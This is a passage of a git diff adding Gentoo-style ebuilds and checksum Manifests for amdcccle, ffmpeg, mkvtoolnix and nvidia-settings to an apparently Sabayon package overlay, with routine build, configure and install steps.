Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle +} diff --git a/media-video/amdcccle/amdcccle-12.1-r1.ebuild b/media-video/amdcccle/amdcccle-12.1-r1.ebuild new file mode 100644 index 00000000..4e6e66ce --- /dev/null +++ b/media-video/amdcccle/amdcccle-12.1-r1.ebuild @@ -0,0 +1,64 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://www.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)] + ~x11-drivers/ati-userspace-${PV} + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle + dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui +} diff --git a/media-video/amdcccle/amdcccle-12.2.ebuild b/media-video/amdcccle/amdcccle-12.2.ebuild new file mode 100644 index 00000000..4e6e66ce --- /dev/null +++ b/media-video/amdcccle/amdcccle-12.2.ebuild @@ -0,0 +1,64 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://www.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)] + ~x11-drivers/ati-userspace-${PV} + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle + dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui +} diff --git a/media-video/amdcccle/amdcccle-12.3.ebuild b/media-video/amdcccle/amdcccle-12.3.ebuild new file mode 100644 index 00000000..4e6e66ce --- /dev/null +++ b/media-video/amdcccle/amdcccle-12.3.ebuild @@ -0,0 +1,64 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit eutils versionator + +DESCRIPTION="AMD Catalyst Control Center Linux Edition" +HOMEPAGE="http://www.amd.com" +# 8.ble will be used for beta releases. +if [[ $(get_major_version) -gt 8 ]]; then + ATI_URL="http://www2.ati.com/drivers/linux/" + SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run" + FOLDER_PREFIX="common/" +else + SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz" + FOLDER_PREFIX="" +fi +IUSE="" + +LICENSE="QPL-1.0 as-is" +KEYWORDS="~amd64 ~x86" +SLOT="1" + +RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)] + ~x11-drivers/ati-userspace-${PV} + x11-libs/qt-core + x11-libs/qt-gui" + +DEPEND="" +S="${WORKDIR}" + +QA_EXECSTACK="opt/bin/amdcccle" + +src_unpack() { + if [[ $(get_major_version) -gt 8 ]]; then + # Switching to a standard way to extract the files since otherwise no signature file + # would be created + local src="${DISTDIR}/${A}" + sh "${src}" --extract "${S}" + else + unpack ${A} + fi +} + +src_compile() { + echo +} + +src_install() { + insinto /usr/share + doins -r ${FOLDER_PREFIX}usr/share/ati + insinto /usr/share/pixmaps + doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm + make_desktop_entry amdcccle 'ATI Catalyst Control Center' \ + ccc_large System + + use x86 && ARCH_BASE="x86" + use amd64 && ARCH_BASE="x86_64" + into /opt + dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle + dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui +} diff --git a/media-video/ffmpeg/Manifest b/media-video/ffmpeg/Manifest new file mode 100644 index 00000000..bf20ba29 --- /dev/null +++ b/media-video/ffmpeg/Manifest @@ -0,0 +1,2 @@ +DIST ffmpeg-0.5_p20373.tar.bz2 3087600 RMD160 6a960e0837f419c882c7bd18c91f582df0e19c58 SHA1 ddf5d0389586d8ceb2979e0804a7b80a9640aad4 SHA256 2a217144c82f11c80f325c653157bd9fc5424dc43a2b2ccbc8eb03a01d33418d +EBUILD ffmpeg-0.5_p20373.ebuild 7714 RMD160 838aff2ef33f2947af39714eecc6d6660b30176e SHA1 43efda8ebf7b4106138d426b7889cfdb7f54faf0 SHA256 71ef718d0f1cec16d30f603cae2a7e53a8e708773cb6cafe075b87a6cfe1f658 diff --git a/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild b/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild new file mode 100644 index 00000000..1f89c173 --- /dev/null +++ b/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild @@ -0,0 +1,255 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild,v 1.12 2010/04/23 12:53:48 ssuominen Exp $ + +EAPI=2 +SCM="" +if [ "${PV#9999}" != "${PV}" ] ; then + SCM=subversion + ESVN_REPO_URI="svn://svn.ffmpeg.org/ffmpeg/trunk" +fi + +inherit eutils flag-o-matic multilib toolchain-funcs ${SCM} + +DESCRIPTION="Complete solution to record, convert and stream audio and video. Includes libavcodec." +HOMEPAGE="http://ffmpeg.org/" +if [ "${PV#9999}" != "${PV}" ] ; then + SRC_URI="" +elif [ "${PV%_p*}" != "${PV}" ] ; then # Snapshot + SRC_URI="mirror://gentoo/${P}.tar.bz2" +else # Release + SRC_URI="http://ffmpeg.org/releases/${P}.tar.bz2" +fi +FFMPEG_REVISION="${PV#*_p}" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sparc x86 ~x86-fbsd" +IUSE="+3dnow +3dnowext alsa altivec cpudetection custom-cflags debug dirac + doc ieee1394 +encode faac faad gsm ipv6 jack +mmx +mmxext vorbis test + theora threads x264 xvid network zlib sdl X mp3 amr + oss pic schroedinger +hardcoded-tables bindist v4l v4l2 + speex +ssse3 jpeg2k vdpau" + +VIDEO_CARDS="nvidia" + +for x in ${VIDEO_CARDS}; do + IUSE="${IUSE} video_cards_${x}" +done + +RDEPEND="sdl? ( >=media-libs/libsdl-1.2.10 ) + alsa? ( media-libs/alsa-lib ) + encode? ( + faac? ( media-libs/faac ) + mp3? ( media-sound/lame ) + vorbis? ( media-libs/libvorbis media-libs/libogg ) + theora? ( media-libs/libtheora[encode] media-libs/libogg ) + x264? ( >=media-libs/x264-0.0.20091021 ) + xvid? ( >=media-libs/xvid-1.1.0 ) ) + faad? ( >=media-libs/faad2-2.6.1 ) + zlib? ( sys-libs/zlib ) + ieee1394? ( media-libs/libdc1394 + sys-libs/libraw1394 ) + dirac? ( media-video/dirac ) + gsm? ( >=media-sound/gsm-1.0.12-r1 ) + jpeg2k? ( >=media-libs/openjpeg-1.3-r2 ) + amr? ( media-libs/opencore-amr ) + schroedinger? ( media-libs/schroedinger ) + speex? ( >=media-libs/speex-1.2_beta3 ) + jack? ( media-sound/jack-audio-connection-kit ) + X? ( x11-libs/libX11 x11-libs/libXext ) + video_cards_nvidia? ( + vdpau? ( >=x11-libs/libvdpau-0.3 ) + )" + +DEPEND="${RDEPEND} + >=sys-devel/make-3.81 + dirac? ( dev-util/pkgconfig ) + schroedinger? ( dev-util/pkgconfig ) + mmx? ( dev-lang/yasm ) + doc? ( app-text/texi2html ) + test? ( net-misc/wget ) + v4l? ( sys-kernel/linux-headers ) + v4l2? ( sys-kernel/linux-headers )" + +src_prepare() { + if [[ ${PV} = *9999* ]]; then + # Set SVN version manually + subversion_wc_info + sed -i s/UNKNOWN/SVN-r${ESVN_WC_REVISION}/ "${S}/version.sh" + elif [ "${PV%_p*}" != "${PV}" ] ; then # Snapshot + sed -i s/UNKNOWN/SVN-r${FFMPEG_REVISION}/ "${S}/version.sh" + fi +} + +src_configure() { + local myconf="${EXTRA_FFMPEG_CONF}" + + # enabled by default + use debug || myconf="${myconf} --disable-debug" + use zlib || myconf="${myconf} --disable-zlib" + use sdl || myconf="${myconf} --disable-ffplay" + + if use network; then + use ipv6 || myconf="${myconf} --disable-ipv6" + else + myconf="${myconf} --disable-network" + fi + + use custom-cflags && myconf="${myconf} --disable-optimizations" + use cpudetection && myconf="${myconf} --enable-runtime-cpudetect" + + # enabled by default + if use encode + then + use mp3 && myconf="${myconf} --enable-libmp3lame" + use vorbis && myconf="${myconf} --enable-libvorbis" + use theora && myconf="${myconf} --enable-libtheora" + use x264 && myconf="${myconf} --enable-libx264" + use xvid && myconf="${myconf} --enable-libxvid" + else + myconf="${myconf} --disable-encoders" + fi + + # libavdevice options + use ieee1394 && myconf="${myconf} --enable-libdc1394" + # Indevs + for i in v4l v4l2 alsa oss jack ; do + use $i || myconf="${myconf} --disable-indev=$i" + done + # Outdevs + for i in alsa oss ; do + use $i || myconf="${myconf} --disable-outdev=$i" + done + use X && myconf="${myconf} --enable-x11grab" + + # Threads; we only support pthread for now but ffmpeg supports more + use threads && myconf="${myconf} --enable-pthreads" + + # Decoders + use amr && myconf="${myconf} --enable-libopencore-amrwb + --enable-libopencore-amrnb" + for i in faad dirac schroedinger speex; do + use $i && myconf="${myconf} --enable-lib$i" + done + use jpeg2k && myconf="${myconf} --enable-libopenjpeg" + if use gsm; then + myconf="${myconf} --enable-libgsm" + # Crappy detection or our installation is weird, pick one (FIXME) + append-flags -I/usr/include/gsm + fi + if use bindist + then + use faac && ewarn "faac is nonfree and cannot be distributed; disabling + faac support." + else + use faac && myconf="${myconf} --enable-libfaac" + { use faac ; } && myconf="${myconf} --enable-nonfree" + fi + + #for i in h264_vdpau mpeg1_vdpau mpeg_vdpau vc1_vdpau wmv3_vdpau; do + # use video_cards_nvidia || myconf="${myconf} --disable-decoder=$i" + # use vdpau || myconf="${myconf} --disable-decoder=$i" + #done + use video_cards_nvidia || myconf="${myconf} --disable-vdpau" + use vdpau || myconf="${myconf} --disable-vdpau" + + # CPU features + for i in mmx ssse3 altivec ; do + use $i || myconf="${myconf} --disable-$i" + done + use mmxext || myconf="${myconf} --disable-mmx2" + use 3dnow || myconf="${myconf} --disable-amd3dnow" + use 3dnowext || myconf="${myconf} --disable-amd3dnowext" + # disable mmx accelerated code if PIC is required + # as the provided asm decidedly is not PIC. + if gcc-specs-pie ; then + myconf="${myconf} --disable-mmx --disable-mmx2" + fi + + # Option to force building pic + use pic && myconf="${myconf} --enable-pic" + + # Try to get cpu type based on CFLAGS. + # Bug #172723 + # We need to do this so that features of that CPU will be better used + # If they contain an unknown CPU it will not hurt since ffmpeg's configure + # will just ignore it. + for i in $(get-flag march) $(get-flag mcpu) $(get-flag mtune) ; do + [ "${i}" = "native" ] && i="host" # bug #273421 + myconf="${myconf} --cpu=$i" + break + done + + # Mandatory configuration + myconf="${myconf} --enable-gpl --enable-version3 --enable-postproc \ + --enable-avfilter --enable-avfilter-lavf \ + --disable-stripping" + + # cross compile support + if tc-is-cross-compiler ; then + myconf="${myconf} --enable-cross-compile --arch=$(tc-arch-kernel) --cross-prefix=${CHOST}-" + case ${CHOST} in + *freebsd*) + myconf="${myconf} --target-os=freebsd" + ;; + mingw32*) + myconf="${myconf} --target-os=mingw32" + ;; + *linux*) + myconf="${myconf} --target-os=linux" + ;; + esac + fi + + # Misc stuff + use hardcoded-tables && myconf="${myconf} --enable-hardcoded-tables" + + # Specific workarounds for too-few-registers arch... + if [[ $(tc-arch) == "x86" ]]; then + filter-flags -fforce-addr -momit-leaf-frame-pointer + append-flags -fomit-frame-pointer + is-flag -O? || append-flags -O2 + if (use debug); then + # no need to warn about debug if not using debug flag + ewarn "" + ewarn "Debug information will be almost useless as the frame pointer is omitted." + ewarn "This makes debugging harder, so crashes that has no fixed behavior are" + ewarn "difficult to fix. Please have that in mind." + ewarn "" + fi + fi + + cd "${S}" + ./configure \ + --prefix=/usr \ + --libdir=/usr/$(get_libdir) \ + --shlibdir=/usr/$(get_libdir) \ + --mandir=/usr/share/man \ + --enable-static --enable-shared \ + --cc="$(tc-getCC)" \ + ${myconf} || die "configure failed" +} + +src_compile() { + emake version.h || die #252269 + emake || die "make failed" +} + +src_install() { + emake DESTDIR="${D}" install || die "Install Failed" + + dodoc Changelog README INSTALL + dodoc doc/* +} + +src_test() { + if use encode ; then + for t in codectest lavftest seektest ; do + LD_LIBRARY_PATH="${S}/libpostproc:${S}/libswscale:${S}/libavcodec:${S}/libavdevice:${S}/libavfilter:${S}/libavformat:${S}/libavutil" \ + emake ${t} || die "Some tests in ${t} failed" + done + else + ewarn "Tests fail without USE=encode, skipping" + fi +} diff --git a/media-video/mkvtoolnix-gui/Manifest b/media-video/mkvtoolnix-gui/Manifest new file mode 100644 index 00000000..d3bb2b67 --- /dev/null +++ b/media-video/mkvtoolnix-gui/Manifest @@ -0,0 +1,2 @@ +DIST mkvtoolnix-5.0.1.tar.bz2 2155095 RMD160 3c6220a1ff304a18e4d7125d6981966c3e9d368e SHA1 900211d47ba6cbeb4188bb45a492a2b9edf08ed2 SHA256 eecc48d17c0583b6b071e710bfe88ae09439bd99bb90c694a2fed0651bb08f19 +EBUILD mkvtoolnix-gui-5.0.1.ebuild 1944 RMD160 7a51e60d50668cd22f194d4739f5da660941fe4b SHA1 6226427f76d8e98d702bca5f1a273a7d0e4ccb08 SHA256 6688d8731baaf28b953da4adf05b33f70c6f81ac1f6746ad4ebc7008d4a1e290 diff --git a/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild b/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild new file mode 100644 index 00000000..bf200869 --- /dev/null +++ b/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild @@ -0,0 +1,81 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit wxwidgets autotools + +MY_P=${P/-gui} +DESCRIPTION="Tools to create, alter, and inspect Matroska files" +HOMEPAGE="http://www.bunkus.org/videotools/mkvtoolnix" +SRC_URI="http://www.bunkus.org/videotools/mkvtoolnix/sources/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd" +IUSE="bzip2 debug lzo pch wxwidgets" + +RDEPEND=" + >=dev-libs/libebml-1.2.2 + >=media-libs/libmatroska-1.3.0 + >=dev-libs/boost-1.36.0 + dev-libs/expat + media-libs/flac + media-libs/libogg + media-libs/libvorbis + sys-apps/file + sys-libs/zlib + bzip2? ( app-arch/bzip2 ) + lzo? ( dev-libs/lzo ) + x11-libs/wxGTK:2.8[X] ~media-video/mkvtoolnix-${PV}[-wxwidgets] +" +DEPEND="${RDEPEND} + dev-ruby/rake +" +S=${WORKDIR}/${MY_P} + +src_prepare() { + sed -i -e '/^Exec/ s/mkvinfo/mkvinfo-gui/' \ + share/desktop/mkvinfo.desktop || die + # Disable automagic curl dep used for online update checking + sed -i -e '/curl/d' configure.in + export CURL_CFLAGS="" CURL_LIBS="" + + eautoreconf +} + +src_configure() { + local myconf + + use pch || myconf="${myconf} --disable-precompiled-headers" + + WX_GTK_VER="2.8" + need-wxwidgets unicode + myconf="${myconf} --with-wx-config=${WX_CONFIG}" + + econf \ + $(use_enable lzo) \ + $(use_enable bzip2 bz2) \ + --enable-wxwidgets \ + $(use_enable debug) \ + --disable-qt \ + ${myconf} \ + --with-boost-regex=boost_regex \ + --with-boost-filesystem=boost_filesystem \ + --with-boost-system=boost_system +} + +src_compile() { + rake || die "rake failed" +} + +src_install() { + # Don't run strip while installing stuff, leave to portage the job. + DESTDIR="${D}" rake install || die + + find "${ED}usr/share/man" -not -name 'mmg.*' -type f -exec rm {} + + rm -r "${ED}usr/share/locale" || die + rm "${ED}"usr/bin/{mkvextract,mkvmerge,mkvpropedit} || die + mv "${ED}usr/bin/mkvinfo" "${ED}usr/bin/mkvinfo-gui" || die +} diff --git a/media-video/mkvtoolnix/Manifest b/media-video/mkvtoolnix/Manifest new file mode 100644 index 00000000..8f705b8f --- /dev/null +++ b/media-video/mkvtoolnix/Manifest @@ -0,0 +1,2 @@ +DIST mkvtoolnix-5.0.1.tar.bz2 2155095 RMD160 3c6220a1ff304a18e4d7125d6981966c3e9d368e SHA1 900211d47ba6cbeb4188bb45a492a2b9edf08ed2 SHA256 eecc48d17c0583b6b071e710bfe88ae09439bd99bb90c694a2fed0651bb08f19 +EBUILD mkvtoolnix-5.0.1.ebuild 1907 RMD160 f65e203b483c425b8e453803a6f4a3a4dc5d7a2f SHA1 bf7b6cd8679100e002bdbd803ed66ae757216011 SHA256 4b842af11a50fdaa5541fef1726cd1a01c31b791463db5259c5d3746f82a6b01 diff --git a/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild b/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild new file mode 100644 index 00000000..ce3a2a5c --- /dev/null +++ b/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild @@ -0,0 +1,86 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +inherit wxwidgets autotools + +DESCRIPTION="Tools to create, alter, and inspect Matroska files" +HOMEPAGE="http://www.bunkus.org/videotools/mkvtoolnix" +SRC_URI="http://www.bunkus.org/videotools/mkvtoolnix/sources/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd" +IUSE="bzip2 debug lzo pch wxwidgets" + +RDEPEND=" + >=dev-libs/libebml-1.2.2 + >=media-libs/libmatroska-1.3.0 + >=dev-libs/boost-1.36.0 + dev-libs/expat + media-libs/flac + media-libs/libogg + media-libs/libvorbis + sys-apps/file + sys-libs/zlib + bzip2? ( app-arch/bzip2 ) + lzo? ( dev-libs/lzo ) + wxwidgets? ( x11-libs/wxGTK:2.8[X] !media-video/mkvtoolnix-gui ) +" +DEPEND="${RDEPEND} + dev-ruby/rake +" + +src_prepare() { + # Disable automagic curl dep used for online update checking + sed -i -e '/curl/d' configure.in + export CURL_CFLAGS="" CURL_LIBS="" + + eautoreconf +} + +src_configure() { + local myconf + + use pch || myconf="${myconf} --disable-precompiled-headers" + + if use wxwidgets ; then + WX_GTK_VER="2.8" + need-wxwidgets unicode + myconf="${myconf} --with-wx-config=${WX_CONFIG}" + fi + + econf \ + $(use_enable lzo) \ + $(use_enable bzip2 bz2) \ + $(use_enable wxwidgets) \ + $(use_enable debug) \ + --disable-qt \ + ${myconf} \ + --with-boost-regex=boost_regex \ + --with-boost-filesystem=boost_filesystem \ + --with-boost-system=boost_system +} + +src_compile() { + rake || die "rake failed" +} + +src_install() { + # Don't run strip while installing stuff, leave to portage the job. + DESTDIR="${D}" rake install || die + + dodoc AUTHORS ChangeLog README TODO + doman doc/man/*.1 + + if use !wxwidgets; then + rm "${ED}usr/share/man/man1/mmg."* || die + rm -r "${ED}/usr/share/doc/${PN}/guide" || die + fi +} + +pkg_postinst() { + einfo "On Sabayon the GUI is provided by media-video/mkvtoolnix-gui package." +} diff --git a/media-video/nvidia-settings/Manifest b/media-video/nvidia-settings/Manifest new file mode 100644 index 00000000..12d029f9 --- /dev/null +++ b/media-video/nvidia-settings/Manifest @@ -0,0 +1,20 @@ +AUX 95-nvidia-settings 54 SHA256 cbc6e8cae863b768b2ec570390e409476ec3ca1137006888810a9ec7f0029eb0 SHA512 de9edf678c64ca3d10c912397800b2cb651ef9108b33ece97a4cc1e86dad0a9e81986cca6b96cfe80740d9cb433de7ef93f29be45178db714ee408c7f6570ac7 WHIRLPOOL 032fbfd24378659f30b0ca2d653dff8fa09106aa55803740f22f82515251c099e9637310d420d909135e9f7850cb2890cf4abeac9d6a4b5e390a7d061462b13a +AUX nvidia-autostart.desktop 227 SHA256 a2f55b8b6778de2343e16f3a5d6a38719c14220cdb02e0d83eaf12f9bcdb7cd3 SHA512 9e4f81a1085c0bb1e56142bc68050fc6a2e5823d728991745df50c62d161208dbb8f1e34770871161eebd2610fbfb0a64d683a05d8d236a326281770e612511d WHIRLPOOL 881b1934e6c8a094554cac3a16e9e733c5bca2e10eadaa3fe56fdc8a8e5145ba6c7f11bb9948f5d8e4b144eb41a4629a74a74dda0fa18f87ff4a00093fd0561d +DIST nvidia-settings-295.33.tar.bz2 1545933 SHA256 37128d2a90b22600c2df582c78dcc9d7c3cd1e26b2db8ab81a50a3fc3acfcdba SHA512 b1d6f3b3b679bc91b39259b8b0d03d33696f05ba700e07fd70d7e2a90f4708557a106315d43eba8fa771bcfdf270842e36a9b9f139189e571e8f4c463f3e7217 WHIRLPOOL bc56aac3c409ea398e00b03284ca18ba80373608c11d22c6c8b2bda574d12137ea84905054c094d0327198e71344fc203ab4cff23a5427ca16780f2f75fd8428 +DIST nvidia-settings-295.40.tar.bz2 1545625 SHA256 68e8da979ef69b487a5ef237d7cc0f6d1d1cf3e027ffa2e90fa2501dc793d909 SHA512 3260cdfcb933833616ae5b97d6735135834947cc77f74bd2b7d8e2a7c4035fb5d848c9146421e4b9675d034d9008b0331545c9a5faf38f7cfd52c9aa5c50ac25 WHIRLPOOL 958bba15f9d2a62651bd9ad94f57c511d76c0a1b72a1565fdfd04f3758d5ff5f7b63b3a0b337b2388729ad4d12baf2ab2ccbd17b9f6c701c7b9bfd7c34b00da2 +DIST nvidia-settings-302.07.tar.bz2 1479582 SHA256 4f4a163d277202f88e40289f1081df4e6d0b2a9b4133e9728ae10dcef5c7c784 SHA512 10ebae882740f4092ff00029add1ffd1716a6a346475e61269fd674f1bbae0919f4e573eaf8080cd9bf689be6c5bd69a645176d6e7a4ae6a6ec604ee215008a0 WHIRLPOOL 430f2414ff367ece40635beb9fa18d5ef94a356ff28dc256c3eeb184058a4baf76ab56e7f803ce8addd47674e2145e260cba65b48395556ad96e74de9ef1d9b4 +DIST nvidia-settings-304.22.tar.bz2 1476172 SHA256 58566c8079101cbddaef0b5f16af7fde86dbb045e5641a3112d9868afc8809ec SHA512 2f58099dc34e7de6772f6541b57a4fad4b8a7c760960ac8a9521931b2399f5015433e3ff721a828be652371d5a815ded32e048e50265aa8bd45528145421fa11 WHIRLPOOL c8e6bc0a8a5b9538283a6ae47b62eb0b245ab54a3284a8220c426b23f63eeb42d8f1469ad73d1f84a27a9afafc0e35e1d5d7a56f98f80323bebc64fd1bbe445f +DIST nvidia-settings-304.60.tar.bz2 1479772 SHA256 96f0f984d2d4e37c3e492476c3506283f5666d952ae94ddc79d7e16b047a9b36 SHA512 7b55621b97c39f3905d6368151c344a3914b0855951f92b4ff479ba94e92fca715505692d8ad72b9dca33b93eb45d5e3342b569c898d837053686ebce71b14bc WHIRLPOOL 9c63088ec558d55469764422ef26e2697663b3d4bfb9c075b17c4c90ec90b5fee9ff42fbc711c7f1e22a102f2bf1e3ec696923531b54ac374283318594f89ff5 +DIST nvidia-settings-304.88.tar.bz2 1479968 SHA256 22d7c1eeb080ef5d3a99b57acfbd0afa579f42c44c1897f4c786fda167a1d7b0 SHA512 9dc8f2620fb7df689354f7a06eae47490db168eb4226bef2f4e8843f3167cfa25dda73420914fd18280d481446095c2a09831e743f565a48cffb73d13001d520 WHIRLPOOL 441a3e35bb5a4aafe3092e7fecf1144c46ac7e3adf1d7a62c30e0262314c02594451d4efab1d5a6837d0eb1238ffc173c5c0145c7f14f016d16c38d199135ea3 +DIST nvidia-settings-310.19.tar.bz2 1482012 SHA256 1af2cd902c2adf261a6951b1d729523e515f37e45f86785675404fc58ec1c03a SHA512 fd3e376f6518e9e844e0fe7f2aecce18c03da0ebdfa67e41bc566614c89f9b284251e2e0841aa486ac8cb429c246e0b19c77773929ec1393f986bc267556ae84 WHIRLPOOL 2d3ff4a08d44a2abc31679e2779514b95de429cd1ec9e5ca865ef193ce64985dbe192e1e303f17c96dd84df2fa81eeabe1c7120945220ad17c26dc38e9e90f5a +DIST nvidia-settings-313.30.tar.bz2 1496166 SHA256 50c9eeb31d64310f3d49a9596dd582a7dc84f8911a93c7514c501912a944f960 SHA512 a6cbb9078d0d46ad5fc19026d5f2ec3100ddf731caa360e8586c23d7bedcb19998ddd2dc07806c871b58b79765b3dff902f25d69a27bd2c2f08afc6c70f1f1ef WHIRLPOOL 33b152e48a3692cc3efa5b2c10d47f624e0b89d915d30cc75eab3cae4ac3e691f3ab656993377fc6e7f06bc327126252d83d3d6b3f0e89fc4d207ccc057a1f5b +DIST nvidia-settings-325.15.tar.bz2 1541319 SHA256 e7dabddf1240bcbe2990a470defba480d619cd97fa1c0ef4e28653c689be0b03 SHA512 ccb5808fcd2d34cb7fb6cdb2e081bbebb3ced5d53c296cabac76685e6612faffc20609a6e4cdbd4170a3a72b3487f8520df799342004914a42b8dfb69d8d5fc0 WHIRLPOOL 8ad4be1357358c0e7ac6cdf4247f216ac7598f804ec74285a3fe02f51a41cc35742d043dc56feee82bb2099e598a1a13eb2d1a7bab8c72e922aee495b017f34e +EBUILD nvidia-settings-295.33.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e +EBUILD nvidia-settings-295.40.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e +EBUILD nvidia-settings-302.07.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e +EBUILD nvidia-settings-304.22.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a +EBUILD nvidia-settings-304.60.ebuild 1666 SHA256 